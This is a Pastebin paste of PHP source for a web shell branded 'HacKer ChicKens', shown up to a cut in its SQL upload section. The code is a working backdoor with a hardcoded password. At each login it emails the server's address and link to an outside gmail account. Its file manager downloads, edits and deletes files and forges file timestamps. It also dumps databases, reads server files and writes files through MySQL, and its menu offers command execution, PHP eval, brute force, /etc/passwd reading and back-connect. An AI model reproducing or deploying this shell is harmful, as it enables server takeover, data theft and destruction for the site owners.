Hisoka0120

SHELL BYG

Oct 31st, 2015
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 76.90 KB | None | 0 0
  1. <?php
  2. error_reporting(7);
  3. @set_magic_quotes_runtime(0);
  4. ob_start();
  5. $mtime = explode(' ', microtime());
  6. $starttime = $mtime[1] + $mtime[0];
  7. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  8. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  9. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  10. define('IS_COM', class_exists('COM') ? 1 : 0 );
  11. define('IS_GPC', get_magic_quotes_gpc());
  12. $dis_func = get_cfg_var('disable_functions');
  13. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  14. @set_time_limit(0);
  15. foreach(array('_GET','_POST') as $_request) {
  16. foreach($$_request as $_key => $_value) {
  17. if ($_key{0} != '_') {
  18. if (IS_GPC) {
  19. $_value = s_array($_value);
  20. }
  21. $$_key = $_value;
  22. }
  23. }
  24. }
  25. $admin = array();
  26. $admin['check'] = true;
  27. $admin['pass']  = 'byg'; // Password login
  28. $admin['cookiepre'] = '';
  29. $admin['cookiedomain'] = '';
  30. $admin['cookiepath'] = '/';
  31. $admin['cookielife'] = 86400;
  32. if ($charset == 'utf8') {
  33.     header("content-Type: text/html; charset=utf-8");
  34. } elseif ($charset == 'big5') {
  35.     header("content-Type: text/html; charset=big5");
  36. } elseif ($charset == 'gbk') {
  37.     header("content-Type: text/html; charset=gbk");
  38. } elseif ($charset == 'latin1') {
  39.     header("content-Type: text/html; charset=iso-8859-2");
  40. }
  41. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  42. $timestamp = time();
  43. if ($action == "logout") {
  44. scookie('vbapass', '', -86400 * 365);
  45. p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
  46. p('<body background=black>');
  47. exit;
  48. }
  49. if($admin['check']) {
  50. if ($doing == 'login') {
  51. if ($admin['pass'] == $password) {
  52. scookie('vbapass', $password);
  53. $time_shell = "".date("d/m/Y - H:i:s")."";
  54. $ip_remote = $_SERVER["REMOTE_ADDR"];
  55. $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
  56. $to_email = 'mr.marion001@gmail.com';
  57. $server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
  58. $linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
  59. $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
  60. @mail($to_email, $server_mail, $linkcr, $header);
  61.             p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
  62.             p('<body bgcolor=black>
  63. <BR><BR><div align=center><font color=yellow face=tahoma size=2>Welcome Shell HacKer ChicKens! Wellcomeback  - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
  64.             exit;
  65.         }
  66.  
  67.     else
  68.     {
  69.     $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
  70. echo $err_mess;
  71.     }}
  72.     if ($_COOKIE['vbapass']) {
  73.         if ($_COOKIE['vbapass'] != $admin['pass']) {
  74.             loginpage();
  75.         }
  76.     } else {
  77.         loginpage();
  78.     }
  79. }
  80. /*===================== Login =====================*/
  81.  
  82. $errmsg = '';
  83.  
  84. if ($action == 'phpinfo') {
  85.     if (IS_PHPINFO) {
  86.         phpinfo();
  87.     } else {
  88.         $errmsg = 'phpinfo() function has non-permissible';
  89.     }
  90. }
  91.  
  92.  
  93. if ($doing == 'downfile' && $thefile) {
  94.     if (!@file_exists($thefile)) {
  95.         $errmsg = 'The file you want Downloadable was nonexistent';
  96.     } else {
  97.         $fileinfo = pathinfo($thefile);
  98.         header('Content-type: application/x-'.$fileinfo['extension']);
  99.         header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  100.         header('Content-Length: '.filesize($thefile));
  101.         @readfile($thefile);
  102.         exit;
  103.     }
  104. }
  105.  
  106.  
  107. if ($doing == 'backupmysql' && !$saveasfile) {
  108.     dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  109.     $table = array_flip($table);
  110.     $result = q("SHOW tables");
  111.     if (!$result) p('<h2>'.mysql_error().'</h2>');
  112.     $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  113.     header('Content-type: application/unknown');
  114.     header('Content-Disposition: attachment; filename='.$filename);
  115.     $mysqldata = '';
  116.     while ($currow = mysql_fetch_array($result)) {
  117.         if (isset($table[$currow[0]])) {
  118.             $mysqldata .= sqldumptable($currow[0]);
  119.         }
  120.     }
  121.     mysql_close();
  122.     exit;
  123. }
  124.  
  125. // Mysql
  126. if($doing=='mysqldown'){
  127.     if (!$dbname) {
  128.         $errmsg = 'Please input dbname';
  129.     } else {
  130.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  131.         if (!file_exists($mysqldlfile)) {
  132.             $errmsg = 'The file you want Downloadable was nonexistent';
  133.         } else {
  134.             $result = q("select load_file('$mysqldlfile');");
  135.             if(!$result){
  136.                 q("DROP TABLE IF EXISTS tmp_angel;");
  137.                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  138.                 //Download SQL
  139.                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  140.                 $result = q("select content from tmp_angel");
  141.                 q("DROP TABLE tmp_angel");
  142.             }
  143.             $row = @mysql_fetch_array($result);
  144.             if (!$row) {
  145.                 $errmsg = 'Load file failed '.mysql_error();
  146.             } else {
  147.                 $fileinfo = pathinfo($mysqldlfile);
  148.                 header('Content-type: application/x-'.$fileinfo['extension']);
  149.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  150.                 header("Accept-Length: ".strlen($row[0]));
  151.                 echo $row[0];
  152.                 exit;
  153.             }
  154.         }
  155.     }
  156. }
  157. ?>
  158. <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  159. <title><?php echo str_replace('.','','.::[  HacKer ChicKens - The Legend of Vietnamese Hacker World ]::.');?></title>
  160. <style type="text/css">
  161. body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
  162. a {color: #74A202;text-decoration:none;}
  163. a:hover{color: #f00;text-decoration:underline;}
  164. .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  165. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  166. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  167. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  168. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
  169. .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
  170. .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  171. .head td span{font-weight:normal;}
  172. form{margin:0;padding:0;}
  173. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  174. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  175. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  176. input, textarea, button
  177. {
  178.     font-size: 9pt;
  179.     color: #ccc;
  180.     font-family: verdana, sans-serif;
  181.     background-color: #202020;
  182.     border-left: 1px solid #74A202;
  183.     border-top: 1px solid #74A202;
  184.     border-right: 1px solid #74A202;
  185.     border-bottom: 1px solid #74A202;
  186. }
  187. select
  188. {
  189.     font-size: 8pt;
  190.     font-weight: normal;
  191.     color: #ccc;
  192.     font-family: verdana, sans-serif;
  193.     background-color: #202020;
  194. }
  195. </style>
  196. <script type="text/javascript">
  197. function CheckAll(form) {
  198.     for(var i=0;i<form.elements.length;i++) {
  199.         var e = form.elements[i];
  200.         if (e.name != 'chkall')
  201.         e.checked = form.chkall.checked;
  202.     }
  203. }
  204. function $(id) {
  205.     return document.getElementById(id);
  206. }
  207. function goaction(act){
  208.     $('goaction').action.value=act;
  209.     $('goaction').submit();
  210. }
  211. </script></head>
  212. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
  213. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  214. <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300"><tr>
  215. <td align="center" valign=center><div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">
  216. Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif"></div></td></tr></table></div>
  217. <script>
  218.  var ld=(document.all);
  219.   var ns4=document.layers;
  220.  var ns6=document.getElementById&&!document.all;
  221.  var ie4=document.all;
  222.   if (ns4)
  223.     ld=document.loading;
  224.  else if (ns6)
  225.     ld=document.getElementById("loading").style;
  226.  else if (ie4)
  227.     ld=document.all.loading.style;
  228.   function init()
  229.  {
  230.  if(ns4){ld.visibility="hidden";}
  231.  else if (ns6||ie4) ld.display="none";
  232.  }
  233.  </script><table width="100%" border="0" cellpadding="0" cellspacing="0"><tr class="head_small"><td  width=100%>
  234. <table width=100%><tr class="head_small"><td  width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://i677.photobucket.com/albums/vv137/cuong3293/iprovn.png height=86 border=0></a></td><td>
  235. <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="http://google.com" target="_blank"><?php echo str_replace('.','','.::[ HacKer ChicKens - The Legend of Vietnamese Hacker World ]::.');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
  236. <?php
  237. $curl_on = @function_exists('curl_version');
  238. $mysql_on = @function_exists('mysql_connect');
  239. $mssql_on = @function_exists('mssql_connect');
  240. $pg_on = @function_exists('pg_connect');
  241. $ora_on = @function_exists('ocilogon');
  242. echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
  243. echo "PHP version: <b>".@phpversion()."</b> - ";
  244. echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  245. echo "MySQL: <b>";
  246. $mysql_on = @function_exists('mysql_connect');
  247. if($mysql_on){
  248. echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
  249. echo "MSSQL: <b>";
  250. $mssql_on = @function_exists('mssql_connect');
  251. if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  252. echo "PostgreSQL: <b>";
  253. $pg_on = @function_exists('pg_connect');
  254. if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  255. echo "Oracle: <b>";
  256. $ora_on = @function_exists('ocilogon');
  257. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
  258. echo "Disable functions : <b>";
  259. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  260. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  261. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  262. ?></td></tr></table></td></tr><tr class="alt1"><td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>   <br />
  263. --------------------------------------------------------------------------------------<br />           
  264. <a href="javascript:goaction('file');">File Manager</a> |
  265. <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  266. <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  267. <a href="javascript:goaction('shell');">Execute Command</a> |
  268. <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  269. <a href="javascript:goaction('eval');">Eval PHP Code</a>
  270. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
  271. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
  272. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?></td></tr></table>
  273. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  274. <?php
  275. formhead(array('name'=>'goaction'));
  276. makehide('action');
  277. formfoot();
  278. $errmsg && m($errmsg);
  279. // Dir function
  280. !$dir && $dir = '.';
  281. $nowpath = getPath(SA_ROOT, $dir);
  282. if (substr($dir, -1) != '/') {
  283.     $dir = $dir.'/';
  284. }
  285. $uedir = ue($dir);
  286. if (!$action || $action == 'file') {
  287. // Non-writeable
  288. $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  289. // Delete dir
  290. if ($doing == 'deldir' && $thefile) {
  291. if (!file_exists($thefile)) {
  292. m($thefile.' directory does not exist');
  293. } else {
  294. m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  295. }
  296. }
  297. // Create new dir
  298. elseif ($newdirname) {
  299. $mkdirs = $nowpath.$newdirname;
  300. if (file_exists($mkdirs)) {
  301. m('Directory has already existed');
  302. } else {
  303. m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  304. @chmod($mkdirs,0777);
  305. }
  306. }
  307. // Upload file
  308. elseif ($doupfile) {
  309. m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  310. }
  311. // Edit file
  312. elseif ($editfilename && $filecontent) {
  313.         $fp = @fopen($editfilename,'w');
  314.         m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  315.         @fclose($fp);
  316.     }
  317.  
  318.     // Modify
  319.     elseif ($pfile && $newperm) {
  320.         if (!file_exists($pfile)) {
  321.             m('The original file does not exist');
  322.         } else {
  323.             $newperm = base_convert($newperm,8,10);
  324.             m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  325.         }
  326.     }
  327.  
  328.     // Rename
  329.     elseif ($oldname && $newfilename) {
  330.         $nname = $nowpath.$newfilename;
  331.         if (file_exists($nname) || !file_exists($oldname)) {
  332.             m($nname.' has already existed or original file does not exist');
  333.         } else {
  334.             m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  335.         }
  336.     }
  337.  
  338.     // Copu
  339.     elseif ($sname && $tofile) {
  340.         if (file_exists($tofile) || !file_exists($sname)) {
  341.             m('The goal file has already existed or original file does not exist');
  342.         } else {
  343.             m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  344.         }
  345.     }
  346.  
  347.     // File exit
  348.     elseif ($curfile && $tarfile) {
  349.         if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  350.             m('The goal file has already existed or original file does not exist');
  351.         } else {
  352.             $time = @filemtime($tarfile);
  353.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  354.         }
  355.     }
  356.  
  357.     // Date
  358.     elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  359.         if (!@file_exists($curfile)) {
  360.             m(basename($curfile).' does not exist');
  361.         } else {
  362.             $time = strtotime("$year-$month-$day $hour:$minute:$second");
  363.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  364.         }
  365.     }
  366.  
  367.     // Download
  368.     elseif($doing == 'downrar') {
  369.         if ($dl) {
  370.             $dfiles='';
  371.             foreach ($dl as $filepath => $value) {
  372.                 $dfiles.=$filepath.',';
  373.             }
  374.             $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  375.             $dl=explode(',',$dfiles);
  376.             $zip=new PHPZip($dl);
  377.             $code=$zip->out;
  378.             header('Content-type: application/octet-stream');
  379.             header('Accept-Ranges: bytes');
  380.             header('Accept-Length: '.strlen($code));
  381.             header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  382.             echo $code;
  383.             exit;
  384.         } else {
  385.             m('Please select file(s)');
  386.         }
  387.     }
  388.  
  389.     // Delete file
  390.     elseif($doing == 'delfiles') {
  391.         if ($dl) {
  392.             $dfiles='';
  393.             $succ = $fail = 0;
  394.             foreach ($dl as $filepath => $value) {
  395.                 if (@unlink($filepath)) {
  396.                     $succ++;
  397.                 } else {
  398.                     $fail++;
  399.                 }
  400.             }
  401.             m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
  402.         } else {
  403.             m('Please select file(s)');
  404.         }
  405.     }
  406.  
  407.     // Function Newdir
  408.     formhead(array('name'=>'createdir'));
  409.     makehide('newdirname');
  410.     makehide('dir',$nowpath);
  411.     formfoot();
  412.     formhead(array('name'=>'fileperm'));
  413.     makehide('newperm');
  414.     makehide('pfile');
  415.     makehide('dir',$nowpath);
  416.     formfoot();
  417.     formhead(array('name'=>'copyfile'));
  418.     makehide('sname');
  419.     makehide('tofile');
  420.     makehide('dir',$nowpath);
  421.     formfoot();
  422.     formhead(array('name'=>'rename'));
  423.     makehide('oldname');
  424.     makehide('newfilename');
  425.     makehide('dir',$nowpath);
  426.     formfoot();
  427.     formhead(array('name'=>'fileopform'));
  428.     makehide('action');
  429.     makehide('opfile');
  430.     makehide('dir');
  431.     formfoot();
  432.  
  433.     $free = @disk_free_space($nowpath);
  434.     !$free && $free = 0;
  435.     $all = @disk_total_space($nowpath);
  436.     !$all && $all = 0;
  437.     $used = $all-$free;
  438.     $used_percent = @round(100/($all/$free),2);
  439.     p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  440.  
  441. ?>
  442.  
  443. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  444.   <form action="" method="post" id="godir" name="godir">
  445.   <tr>
  446.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  447.     <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  448.     <td nowrap><input class="bt" value="GO" type="submit"></td>
  449.   </tr>
  450.   </form>
  451.  
  452. </table>
  453. <script type="text/javascript">
  454. function createdir(){
  455.     var newdirname;
  456.     newdirname = prompt('Please input the directory name:', '');
  457.     if (!newdirname) return;
  458.     $('createdir').newdirname.value=newdirname;
  459.     $('createdir').submit();
  460. }
  461. function fileperm(pfile){
  462.     var newperm;
  463.     newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  464.     if (!newperm) return;
  465.     $('fileperm').newperm.value=newperm;
  466.     $('fileperm').pfile.value=pfile;
  467.     $('fileperm').submit();
  468. }
  469. function copyfile(sname){
  470.     var tofile;
  471.     tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  472.     if (!tofile) return;
  473.     $('copyfile').tofile.value=tofile;
  474.     $('copyfile').sname.value=sname;
  475.     $('copyfile').submit();
  476. }
  477. function rename(oldname){
  478.     var newfilename;
  479.     newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  480.     if (!newfilename) return;
  481.     $('rename').newfilename.value=newfilename;
  482.     $('rename').oldname.value=oldname;
  483.     $('rename').submit();
  484. }
  485. function dofile(doing,thefile,m){
  486.     if (m && !confirm(m)) {
  487.         return;
  488.     }
  489.     $('filelist').doing.value=doing;
  490.     if (thefile){
  491.         $('filelist').thefile.value=thefile;
  492.     }
  493.     $('filelist').submit();
  494. }
  495. function createfile(nowpath){
  496.     var filename;
  497.     filename = prompt('Please input the file name:', '');
  498.     if (!filename) return;
  499.     opfile('editfile',nowpath + filename,nowpath);
  500. }
  501. function opfile(action,opfile,dir){
  502.     $('fileopform').action.value=action;
  503.     $('fileopform').opfile.value=opfile;
  504.     $('fileopform').dir.value=dir;
  505.     $('fileopform').submit();
  506. }
  507. function godir(dir,view_writable){
  508.     if (view_writable) {
  509.         $('godir').view_writable.value=1;
  510.     }
  511.     $('godir').dir.value=dir;
  512.     $('godir').submit();
  513. }
  514. </script>
  515.   <?php
  516.     tbhead();
  517.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  518.     p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  519.     p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  520.     if ($view_writable) {
  521.         p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  522.     } else {
  523.         p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  524.     }
  525.     p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  526.     if (IS_WIN && IS_COM) {
  527.         $obj = new COM('scripting.filesystemobject');
  528.         if ($obj && is_object($obj)) {
  529.             $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  530.             foreach($obj->Drives as $drive) {
  531.                 if ($drive->DriveType == 2) {
  532.                     p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  533.                 } else {
  534.                     p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  535.                 }
  536.             }
  537.         }
  538.     }
  539.  
  540.     p('</td></tr></form>');
  541.  
  542.     p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  543.  
  544.     // Get path
  545.     $dirdata=array();
  546.     $filedata=array();
  547.  
  548.     if ($view_writable) {
  549.         $dirdata = GetList($nowpath);
  550.     } else {
  551.         // Open dir
  552.         $dirs=@opendir($dir);
  553.         while ($file=@readdir($dirs)) {
  554.             $filepath=$nowpath.$file;
  555.             if(@is_dir($filepath)){
  556.                 $dirdb['filename']=$file;
  557.                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  558.                 $dirdb['dirchmod']=getChmod($filepath);
  559.                 $dirdb['dirperm']=getPerms($filepath);
  560.                 $dirdb['fileowner']=getUser($filepath);
  561.                 $dirdb['dirlink']=$nowpath;
  562.                 $dirdb['server_link']=$filepath;
  563.                 $dirdb['client_link']=ue($filepath);
  564.                 $dirdata[]=$dirdb;
  565.             } else {
  566.                 $filedb['filename']=$file;
  567.                 $filedb['size']=sizecount(@filesize($filepath));
  568.                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  569.                 $filedb['filechmod']=getChmod($filepath);
  570.                 $filedb['fileperm']=getPerms($filepath);
  571.                 $filedb['fileowner']=getUser($filepath);
  572.                 $filedb['dirlink']=$nowpath;
  573.                 $filedb['server_link']=$filepath;
  574.                 $filedb['client_link']=ue($filepath);
  575.                 $filedata[]=$filedb;
  576.             }
  577.         }// while
  578.         unset($dirdb);
  579.         unset($filedb);
  580.         @closedir($dirs);
  581.     }
  582.     @sort($dirdata);
  583.     @sort($filedata);
  584.     $dir_i = '0';
  585.     foreach($dirdata as $key => $dirdb){
  586.         if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  587.             $thisbg = bg();
  588.             p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  589.             p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  590.             p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  591.             p('<td nowrap>'.$dirdb['mtime'].'</td>');
  592.             p('<td nowrap>--</td>');
  593.             p('<td nowrap>');
  594.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  595.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  596.             p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  597.             p('</tr>');
  598.             $dir_i++;
  599.         } else {
  600.             if($dirdb['filename']=='..') {
  601.                 p('<tr class=fout>');
  602.                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  603.                 p('</tr>');
  604.             }
  605.         }
  606.     }
  607.  
  608.     p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  609.     p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  610.     makehide('action','file');
  611.     makehide('thefile');
  612.     makehide('doing');
  613.     makehide('dir',$nowpath);
  614.     $file_i = '0';
  615.     foreach($filedata as $key => $filedb){
  616.         if($filedb['filename']!='..' && $filedb['filename']!='.') {
  617.             $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  618.             $thisbg = bg();
  619.             p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  620.             p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  621.             p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  622.             p('<td nowrap>'.$filedb['mtime'].'</td>');
  623.             p('<td nowrap>'.$filedb['size'].'</td>');
  624.             p('<td nowrap>');
  625.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  626.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  627.             p('<td nowrap>');
  628.             p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  629.             p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  630.             p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  631.             p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  632.             p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  633.             p('</td></tr>');
  634.             $file_i++;
  635.         }
  636.     }
  637.     p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  638.     p('</form></table>');
  639. }// end dir
  640.  
  641. elseif ($action == 'sqlfile') {
  642.     if($doing=="mysqlupload"){
  643.         $file = $_FILES['uploadfile'];
  644.         $filename = $file['tmp_name'];
  645.         if (file_exists($savepath)) {
  646.             m('The goal file has already existed');
  647.         } else {
  648.             if(!$filename) {
  649.                 m('Please choose a file');
  650.             } else {
  651.                 $fp=@fopen($filename,'r');
  652.                 $contents=@fread($fp, filesize($filename));
  653.                 @fclose($fp);
  654.                 $contents = bin2hex($contents);
  655.                 if(!$upname) $upname = $file['name'];
  656.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  657.                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  658.                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  659.             }
  660.         }
  661.     }
  662. ?>
  663.  
  664. <script type="text/javascript">
  665. function mysqlfile(doing){
  666.     if(!doing) return;
  667.     $('doing').value=doing;
